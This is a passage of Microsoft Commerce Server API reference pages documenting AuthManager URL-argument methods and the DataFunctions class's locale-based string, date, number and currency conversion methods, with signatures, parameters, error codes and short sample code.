' saParameterNames and saParameterValues are SafeArrays
' sURLArg is a string
' oAuthManager is a Commerce AuthManager object

saParameterNames(0) = "sku1"
saParameterNames(1) = "sku3"
saParameterValues(0) = "12345"
saParameterValues(1) = "98765"
sURLArg = oAuthManager.URLArgs(saParameterNames, saParameterValues)

' sURLArg = "?sku1=12345&sku3=98765"

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class

AuthManager.URLShopperArgs


AuthManager.URLShopperArgs Method (PIA)

Use this method to generate an encoded Uniform Resource Locator (URL) query string of name/value pairs and append the ticket to the query string if a ticket is set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function URLShopperArgs(
  ByRef pVarURLParameters As Object,
  ByRef pVarURLValues As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop;
…
string URLShopperArgs(
  ref object pURLParameters,
  ref object pURLValues
);

Parameters

[Visual Basic .NET]
pVarURLParameters
A System.Array that contains the parameter names.
pVarURLValues
A System.Array that contains the values corresponding to the parameter names.
[C#]
oURLParameters
An object containing a System.Array of parameter names.
oURLValues
An object containing a System.Array of parameter values corresponding to the parameter names.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the encoded-URL string.

[C#] This method returns a string that contains the resulting encoded-URL query string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.

Remarks

This method concatenates the parameter name/value pairs into an encoded URL string and appends the ticket. This is useful for cookieless shopping support. This method will fail if the two arrays containing the parameters and values are not the same size.

If both types of tickets exist, the AuthTicketType ticket takes precedence.

Use the URLArgs method to perform URL encoding of parameter/value pairs without appending the ticket.

[Visual Basic .NET]

Example

' saParameterNames and saParameterValues are SafeArrays
' sURLShopArg is a string
' oAuthManager is a Commerce AuthManager object

saParameterNames(0) = "sku1"
saParameterNames(1) = "sku3"
saParameterValues(0) = "12345"
saParameterValues(1) = "98765"
sURLShopArg = oAuthManager.URLShopperArgs(saParameterNames, saParameterValues)

' sURLShopArg =
' "?sku1=12345&sku3=98765&MSCSAuth=Q0H4SE915ASH2KC000Q79QB1E"

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class

AuthManager.SetProperty

AuthManager.SetAuthTicket

AuthManager.SetProfileTicket

AuthManager.URLArgs


DataFunctions Class (PIA)

Use this object to perform locale-based formatting, parsing, and value range checking in a site. This object also has a variety of utilities useful for site development.

Use the Commerce Server 2000 MSCSAspHelpLib Type Library to access this object.

Methods

Method | Description
CleanString | Processes the specified string. This processing can include stripping out white spaces, modifying the case of the string, and validating that the length of the string falls within a specified range.
ConvertDateString | Converts the specified string representation of the date to a date Object, based on the default or specified locale.
ConvertDateTimeString | Converts the specified string representation of the date and time to a date Object, based on the default or specified locale.
ConvertFloatString | Converts the specified string representation of a floating-point number to a double Object, based on the default or specified locale.
ConvertMoneyStringToNumber | Converts the specified string representation of a currency value to an Integer Object, based on the default or specified locale.
ConvertNumberString | Converts the specified string representation of a number to an integer Object, based on the default or specified locale.
ConvertTimeString | Converts the specified string representation of a time value to a date Object, based on the default or specified locale.
Date | Returns a string representation of a date stored in a date Object, based on the default or specified locale.
DateTime | Returns a string representation of a date and time stored in a date Object, based on the default or specified locale.
Float | Returns a string representation of a floating-point number, based on the default or specified locale.
GetLocaleInfo | Retrieves information about the specified locale.
GetLocaleList | Retrieves a list of installed locales.
Money | Returns a formatted currency string, based on the default or specified locale.
Number | Returns a string representation of a number, based on the default or specified locale.
Time | Returns a string representation of a time stored in a date Object, based on the default or specified locale.
ValidateDateTime | Checks whether the specified string contains a valid date and/or time, and optionally checks against a specified range.
ValidateFloat | Checks whether the specified string contains a valid floating-point number, and optionally checks the value of the number against a specified range.
ValidateNumber | Checks whether the specified string contains a valid number, and optionally checks the value of the number against a specified range.
CloneObject | Clones a SimpleList or Dictionary object.
ConvertStringToCurrency | Converts the specified string representation of currency value into a currency Object.
LocalizeCurrency | Creates a string representation of a currency value formatted to a specified locale and currency symbol.

Properties

Property | Type | Description
Locale | Integer | Stores a number that represents the default locale to be used to format date, time, money, and number values. This property is read/write.
CurrencySymbol | Object | Stores the currency symbol to use if no currency symbol is specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol. This property is read/write.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)


DataFunction Methods (PIA)

Methods

Method | Description
CleanString | Processes the specified string. This processing can include stripping out white spaces, modifying the case of the string, and validating that the length of the string falls within a specified range.
ConvertDateString | Converts the specified string representation of the date to a date Object, based on the default or specified locale.
ConvertDateTimeString | Converts the specified string representation of the date and time to a date Object, based on the default or specified locale.
ConvertFloatString | Converts the specified string representation of a floating-point number to a double Object, based on the default or specified locale.
ConvertMoneyStringToNumber | Converts the specified string representation of a currency value to an Integer Object, based on the default or specified locale.
ConvertNumberString | Converts the specified string representation of a number to an integer Object, based on the default or specified locale.
ConvertTimeString | Converts the specified string representation of a time value to a date Object, based on the default or specified locale.
Date | Returns a string representation of a date stored in a date Object, based on the default or specified locale.
DateTime | Returns a string representation of a date and time stored in a date Object, based on the default or specified locale.
Float | Returns a string representation of a floating-point number, based on the default or specified locale.
GetLocaleInfo | Retrieves information about the specified locale.
GetLocaleList | Retrieves a list of installed locales.
Money | Returns a formatted currency string, based on the default or specified locale.
Number | Returns a string representation of a number, based on the default or specified locale.
Time | Returns a string representation of a time stored in a date Object, based on the default or specified locale.
ValidateDateTime | Checks whether the specified string contains a valid date and/or time, and optionally checks against a specified range.
ValidateFloat | Checks whether the specified string contains a valid floating-point number, and optionally checks the value of the number against a specified range.
ValidateNumber | Checks whether the specified string contains a valid number, and optionally checks the value of the number against a specified range.
CloneObject | Clones a SimpleList or Dictionary object.
ConvertStringToCurrency | Converts the specified string representation of currency value into a currency Object.
LocalizeCurrency | Creates a string representation of a currency value formatted to a specified locale and currency symbol.


DataFunctions.CleanString Method (PIA)

Use this method to process a string, based on the default or specified locale. The string processing can include stripping out leading and trailing white spaces, modifying string case, and validating that the length of the string falls within a given range.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function CleanString(
 vtInput As Object,
 Optional vtMinLen As Object,
 Optional vtMaxLen As Object,
 Optional vtStripWhite As Object,
 Optional vtStripReturn As Object,
 Optional vtCase As Object,
 Optional vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object CleanString(
 object vtInput,
 object vtMinLen,
 object vtMaxLen,
 object vtStripWhite,
 object vtStripReturn,
 object vtCase,
 object vtLocale
);

Parameters

[Visual Basic .NET]
vtInput
An Object that contains the text of the string to process.
vtMinLen
An Object that contains the minimum length against which the length of the input string will be validated. The default value for this parameter is zero (0).
vtMaxLen
An Object that contains the maximum length against which the length of the input string will be validated. The default value for this parameter is no limit.
vtStripWhite
An Object that contains the Boolean value that indicates whether leading and trailing white spaces should be stripped from the input string. The default value is True.
vtStripReturn
An Object that contains the Boolean value that indicates whether the carriage returns contained anywhere in the input string should be stripped. The default value is True.
vtCase
An Object that specifies any conversions to the case of the input string. The default value for this parameter is zero (0), which results in no modification to the case of the input string. If this parameter is set to one (1), the input string is converted to uppercase. If this parameter is set to two (2), the input string is converted to lowercase.
vtLocale
An Object that specifies the locale to use when processing the input string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtInput
An object that contains the text of the string to process.
vtMinLen
An object that contains the minimum length against which the length of the input string will be validated. The default value for this parameter is zero (0).
vtMaxLen
An object that contains the maximum length against which the length of the input string will be validated. The default value for this parameter is no limit.
vtStripWhite
An object that contains a Boolean value that indicates whether leading and trailing white spaces should be stripped from the input string. The default value is true.
vtStripReturn
An object that contains the Boolean value that indicates whether the carriage returns contained anywhere in the input string should be stripped. The default value is true.
vtCase
An object that specifies any conversions to the case of the input string. The default value for this parameter is zero (0), which results in no modification to the case of the input string. If this parameter is set to one (1), the input string is converted to uppercase. If this parameter is set to two (2), the input string is converted to lowercase.
vtLocale
An object that specifies the locale to use when processing the input string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a string Object that contains the processed string; otherwise, Null is returned.

[C#] This method returns an object that contains the processed string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

DataFunctions df = New DataFunctions()
df.Locale = 1033
Dim Result As Object
Dim strData As Object
strData = " Microsoft Press   "
Result = df.CleanString(strData, 1, 20, True, True, 1)
Response.Write(Result)
' "MICROSOFT PRESS" will be written to the page

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

Page.RequestString


DataFunctions.CloneObject Method (PIA)

Use this method to clone a SimpleList or Dictionary object. This method performs a deep copy of the cloned object, so new memory is allocated for the clone.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function CloneObject(
 pdispSource As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object CloneObject(
 object pdispSource
);

Parameters

[Visual Basic .NET]
pdispSource
A reference to the SimpleList or Dictionary object to be cloned.
[C#]
pdispSource
A reference to an object that is either a SimpleList or Dictionary object to be cloned.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to the SimpleList or Dictionary object clone.

[C#] This method returns an object reference that represents the SimpleList or Dictionary object clone.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' dSource and dCopy are Dictionary objects
DataFunctions df = New DataFunctions()
dCopy = df.CloneObject(dSource)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale


DataFunctions.ConvertDateString Method (PIA)

Use this method to convert a date string to a date object, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ConvertDateString(
 vtDate As Object,
 Optional vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ConvertDateString(
  object vtDate,
  object vtLocale
);

Parameters

[Visual Basic .NET]
vtDate
An Object that contains a string representation of the date to convert.
vtLocale
An Object that specifies the locale to use when processing the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtDate
An object that contains a string representation of the date to convert.
vtLocale
An object that specifies the locale to use when processing the string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a date Object containing the converted value; otherwise, Null is returned.

[C#] This method returns an object containing the converted date.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

In some cases, the DataFunctions.ConvertDateString method returns Null, for example, the DataFunctions.ConvertDateString method returns null when converting a string representation of the date to the date object type for Latvian and Bulgarian locales. To avoid this problem, remove the constant string added at the end of the Date Representation String according to the Regional Settings in the Control Panel.

[Visual Basic .NET]

Example

' Converts date using US and France locales
Dim Result As Object
DataFunctions df = new DataFunctions()
df.Locale = 1036
Result = df.ConvertDateString("12/1/2000")
Response.Write("France: " & Result & "<P>")
df.Locale = 1033
Result = df.ConvertDateString("12/1/2000")
Response.Write("USA: " & Result)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertDateTimeString

DataFunctions.Date

DataFunctions.DateTime

Page.RequestTime


DataFunctions.ConvertDateTimeString Method (PIA)

Use this method to convert a date and time string to a date/time object, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ConvertDateTimeString(
 vtDateTime As Object,
 Optional vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ConvertDateTimeString(
  object vtDateTime,
  object vtLocale
);

Parameters

[Visual Basic .NET]
vtDateTime
An Object that contains a string that specifies the date/time value to convert.
vtLocale
An Object that specifies the locale to use to convert the date. If this value is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtDateTime
An object that contains a string that specifies the date/time value to convert.
vtLocale
An object that specifies the locale to use to convert the date. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a datetime Object that contains the converted date/time value; otherwise, Null is returned.

[C#] This method returns an object containing the converted date/time value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' Converts date time string using US and France locales
' oSourceDateTime is an Object containing a date time string
Dim Result As Object
DataFunctions df = New DataFunctions()
df.Locale = 1036
Result = df.ConvertDateTimeString(oSourceDateTime)
Response.Write("France: " & Result & "<P>")
df.Locale = 1033
Result = df.ConvertDateTimeString(oSourceDateTime)
Response.Write("USA: " & Result)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertDateString

DataFunctions.Date

DataFunctions.DateTime

Page.RequestTime


DataFunctions.ConvertFloatString Method (PIA)

Use this method to convert a floating-point number represented as a string to a double object, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ConvertFloatString(
 vtNum As Object,
 Optional vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ConvertFloatString(
  object vtNum,
  object vtLocale
);

Parameters

[Visual Basic .NET]
vtNum
An Object that contains a string representation of the floating-point number to convert.
vtLocale
An Object that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtNum
An object that contains a string representation of the floating-point number to convert.
vtLocale
An object that specifies the locale to use to convert the string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a double Object that contains the converted number; otherwise, Null is returned.

[C#] This method returns an object containing the converted floating-point number.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' Converts float using US and France locales
' oSourceFloat is an Object containing a float string
Dim Result As Object
DataFunctions df = New DataFunctions()
df.Locale = 1036
Result = df.ConvertFloatString(oSourceFloat)
Response.Write("France: " & Result & "<P>")
df.Locale = 1033
Result = df.ConvertFloatString(oSourceFloat)
Response.Write("USA: " & Result)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.Float

DataFunctions.ValidateFloat


DataFunctions.ConvertMoneyStringToNumber Method (PIA)

Use this method to convert a money string to a number, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ConvertMoneyStringToNumber(
 vtMoney As Object,
 vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ConvertMoneyStringToNumber(
  object vtMoney,
  object vtLocale
);

Parameters

[Visual Basic .NET]
vtMoney
An Object that contains a string representation of the monetary value to convert.
vtLocale
An Object that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtMoney
An object that contains a string representation of the monetary value to convert.
vtLocale
An object that specifies the locale to use to convert the string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an integer Object that represents the value of the specified string in the base monetary unit of the specified locale; otherwise, Null is returned.

[C#] This method returns an object that contains the converted monetary value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The ConvertMoneyStringToNumber method returns the value in the base monetary unit for a given locale. Thus, given a value in dollars, ConvertMoneyStringToNumber returns the number of cents in the dollar value.

Additionally, ConvertMoneyStringToNumber does not round values. For example, if you pass this method "123.009" the method returns 12300, not 12301.

This method returns an object of type int, not an OLE currency type.

In some cases, this method returns null when converting a string representation of monetary value to the currency object type for Swedish and Portuguese (Portugal) locales. To avoid this problem, use the Replace method of the string class (i.e. myString.Replace(MoneyString, CurrencyDigitGroupingSymbol, "")) to remove the currency digit grouping symbol from the money string prior to calling the method ConvertMoneyStringToNumber.

[Visual Basic .NET]

Example

Dim Result As Object
Dim Amount As Object
Amount = "12000"
DataFunctions df = New DataFunctions()
' Set Locale to USA
Result = df.ConvertMoneyStringToNumber("34.095", 1033)
Response.Write("USA: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertFloatString

DataFunctions.ConvertNumberString


DataFunctions.ConvertNumberString Method (PIA)

Use this method to convert an integer represented as a string to an integer object, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ConvertNumberString(
 vtNum As Object,
 Optional vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ConvertNumberString(
  object vtNum,
  object vtLocale
);

Parameters

[Visual Basic .NET]
vtNum
An Object that contains a string representation of the number to convert.
vtLocale
An Object that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtNum
An object that contains a string representation of the number to convert.
vtLocale
An object that specifies the locale to use to convert the string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an integer Object containing the converted number; otherwise, Null is returned.

[C#] This method returns an object containing the converted number.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

ConvertNumberString method is designed to accept only integers. Passing a floating-point number as the vtNum parameter results in an error. To convert floating-point numbers, use the ConvertFloatString method.

[Visual Basic .NET]

Example

' Converts integer string using US and France locales
' oSourceInt is an Object containing an integer string
Dim Result As Object
DataFunctions df = New DataFunctions()
df.Locale = 1036
Result = df.ConvertNumberString(oSourceInt)
Response.Write("France: " & Result & "<P>")
df.Locale = 1033
Result = df.ConvertNumberString(oSourceInt)
Response.Write("USA: " & Result)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertFloatString

DataFunctions.Number

DataFunctions.ValidateNumber


DataFunctions.ConvertStringToCurrency Method (PIA)

Use this method to convert a string representation of a monetary value into a currency object, based on the specified locale and currency symbol.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ConvertStringToCurrency(
 vtMoneyString As Object,
 Optional vtLocale As Object,
 Optional vtCurrencySymbol As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ConvertStringToCurrency(
  object vtMoneyString,
  object vtLocale,
  object vtCurrencySymbol
);

Parameters

[Visual Basic .NET]
vtMoneyString
An Object that contains the currency string to convert.
vtLocale
An Object that specifies the locale to use when converting the string to a currency Object. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtCurrencySymbol
An Object that contains the currency symbol to expect when converting the currency string. If this parameter is not specified, the value of the CurrencySymbol property of the DataFunctions object is used.
[C#]
vtMoneyString
An object that contains the currency string to convert.
vtLocale
An object that contains the locale to be used when converting the string to a currency object. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.
vtCurrencySymbol
An object that contains the currency symbol to expect when converting the currency string. If you want the value of the CurrencySymbol property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object used to return the string representation of the converted monetary value.

[C#] This method returns an object containing the string representation of the converted monetary value. This will be set to null if the monetary value string is not valid.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim Amount As Object
' vtAmount is a string representation of a monetary value
DataFunctions df = New DataFunctions()
' Set to USA
df.Locale = 1033
Result = df.ConvertStringtoCurrency(vtAmount)
Response.Write("USA: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.LocalizeCurrency

DataFunctions.ConvertMoneyStringToNumber


DataFunctions.ConvertTimeString Method (PIA)

Use this method to convert a time string to a date object, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ConvertTimeString(
 vtDate As Object,
 Optional vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ConvertTimeString(
 object vtDate,
 object vtLocale
);

Parameters

[Visual Basic .NET]
vtDate
An Object that specifies a string representation of the time to convert.
vtLocale
An Object that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtDate
An object that specifies a string representation of the time to convert.
vtLocale
An object that specifies the locale to use to convert the string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a date Object that contains the time; otherwise, Null is returned. Additionally, if the string representation contains a date, ConvertTimeString returns Null.

[C#] This method returns an object containing the converted time value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim Amount As Object
' vtTimeString is a string representation of a time value
DataFunctions df = New DataFunctions()
' Set to USA
df.Locale = 1033
Result = df.ConvertTimeString(vtTimeString)
Response.Write("USA: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.Time

DataFunctions.ValidateDateTime


DataFunctions.Date Method (PIA)

Use this method to convert a date object to a string representation of the specified date, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function Date(
 dtDate As DateTime,
 Optional vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object Date(
 System.DateTime dtDate,
 object vtLocale
);

Parameters

[Visual Basic .NET]
dtDate
A DateTime that contains the date to format.
vtLocale
An Object that specifies the locale to use to convert the date to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
dtDate
A System.DateTime that contains the date to format.
vtLocale
An object that specifies the locale to use to convert the System.DateTime object to a string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a string Object that contains the date value formatted as a string; otherwise, Null is returned.

[C#] This method returns an object containing the date value formatted as a string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim dDateVar As Date
' dDateVar is a Date containing a valid date
DataFunctions df = New DataFunctions()
' Set Locale to USA
df.Locale = 1033
Result = df.Date(dDateVar)
Response.Write("USA: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.DateTime

DataFunctions.ValidateDateTime

DataFunctions.ConvertDateString


DataFunctions.DateTime Method (PIA)

Use this method to convert a date object to a string representation of the specified date value based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function DateTime(
 dtDate As Date,
 vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object DateTime(
 System.DateTime dtDate,
 object vtLocale
);

Parameters

[Visual Basic .NET]
dtDate
A Date that contains the date/time value to convert.
vtLocale
An Object that specifies the locale to use to convert the Date to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
dtDate
A System.DateTime that contains the date/time value to convert.
vtLocale
An object that specifies the locale to use to convert the System.DateTime object to a string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a string Object that contains the string representation of the specified date/time value; otherwise, Null is returned.

[C#] This method returns an object containing the string representation of the specified date/time value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim Result As Object
Dim DateVar As Date
' DateVar is a Date containing a valid date time value
DataFunctions df = New DataFunctions()
' Set Locale to USA
df.Locale = 1033
Result = df.DateTime(DateVar)
Response.Write("USA: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.Date

DataFunctions.ValidateDateTime

Page.RequestTime


DataFunctions.Float Method (PIA)

Use this method to convert a number stored in a double to a string representation of that number, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…

Public Function Float(
 fNumber As Double,
 Optional vtLocale As Object
 Optional vtNoRound As Object,
 Optional vtTrimTrailingZeros As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object Float(
 double fNumber,
 object vtLocale
 object vtNoRound
 object vtTrimTrailingZeros
);

Parameters

[Visual Basic .NET]
fNumber
A Double that contains the floating-point number to convert.
vtLocale
An Object that specifies the locale to use to convert the floating-point number to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
VtNoRound
An Object that determines whether the number will be rounded.
VtTrimTrailingZeros
An Object that determines whether trailing zeros will be cropped.
[C#]
fNumber
A double (8-byte floating point number) that contains the floating-point number to convert.
vtLocale
An object that specifies the locale to use to convert the floating-point number to a string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.
VtNoRound
An Object that determines whether the number will be rounded.
VtTrimTrailingZeros
An Object that determines whether trailing zeros will be cropped.

Return Values

The value returned from the Float method is intended for display purposes only, and not in any calculations.

[Visual Basic .NET] If this method completes successfully, it returns a string Object that contains the string representation of the specified floating-point number; otherwise, Null is returned.

[C#] This method returns an object containing the string representation of the specified floating point number.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The value returned from the Float method is intended for display purposes only, and not in any calculations.

The string representation of a floating pointer number (of type VT_R4) returned by the Float method can contain additional trailing digits that may not have been specified as part of the original user input value. For example, 2.23 is formatted as “2.23000001907349”, and 2.23456 is formatted as “2.23456001281738”.

The reason for the change in formatting is that when a float value is passed into this function, it is automatically cast to a double value by the language runtime libraries (because this method expects a double-typed argument). It is during this cast operation that the trailing digits get added to the passed in value. Since the Float method formats the entire input value into a string, the resulting string value contains the additional trailing digits.

The workaround for client applications is to invoke this method with the VtNoRound argument set to False.

[Visual Basic .NET]

Example

Dim Result As Object
Dim Amount As Double
Amount = 12000
DataFunctions df = New DataFunctions()
' Set Locale to USA
df.Locale = 1033
myInputFloat = 100.00010
Result = df.Float(myInputFloat)
Response.Write("USA, No Rounding, With Trailing: " & Result & "<P>")
Result = df.Float(myInputFloat)
Response.Write("USA, No Rounding, Trim Trailing: " & Result & "<P>")
Result = df.Float(myInputFloat)
Response.Write("USA, Rounding, With Trailing: " & Result & "<P>")
Result = df.Float(myInputFloat)
Response.Write("USA, Rounding, Trim Trailing: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ValidateFloat

DataFunctions.ConvertFloatString


DataFunctions.GetLocaleInfo Method (PIA)

Use this method to get information on the specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetLocaleInfo(
 vtInfo As Integer,
 vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object GetLocaleInfo(
 int vtInfo,
 object vtLocale
);

Parameters

[Visual Basic .NET]
vtInfo
An Integer that indicates the type of locale information to return. This value must map to one of the LCTYPE constants. For information about these constants, see the Win32 SDK Help.
vtLocale
An Object that identifies the locale for which to return information. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtInfo
An int that specifies the type of locale information to return in the returned object. This value must map to one of the LCTYPE constants. For information about these constants, see the Win32 SDK Help.
vtLocale
An object that identifies the locale for which to return information. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

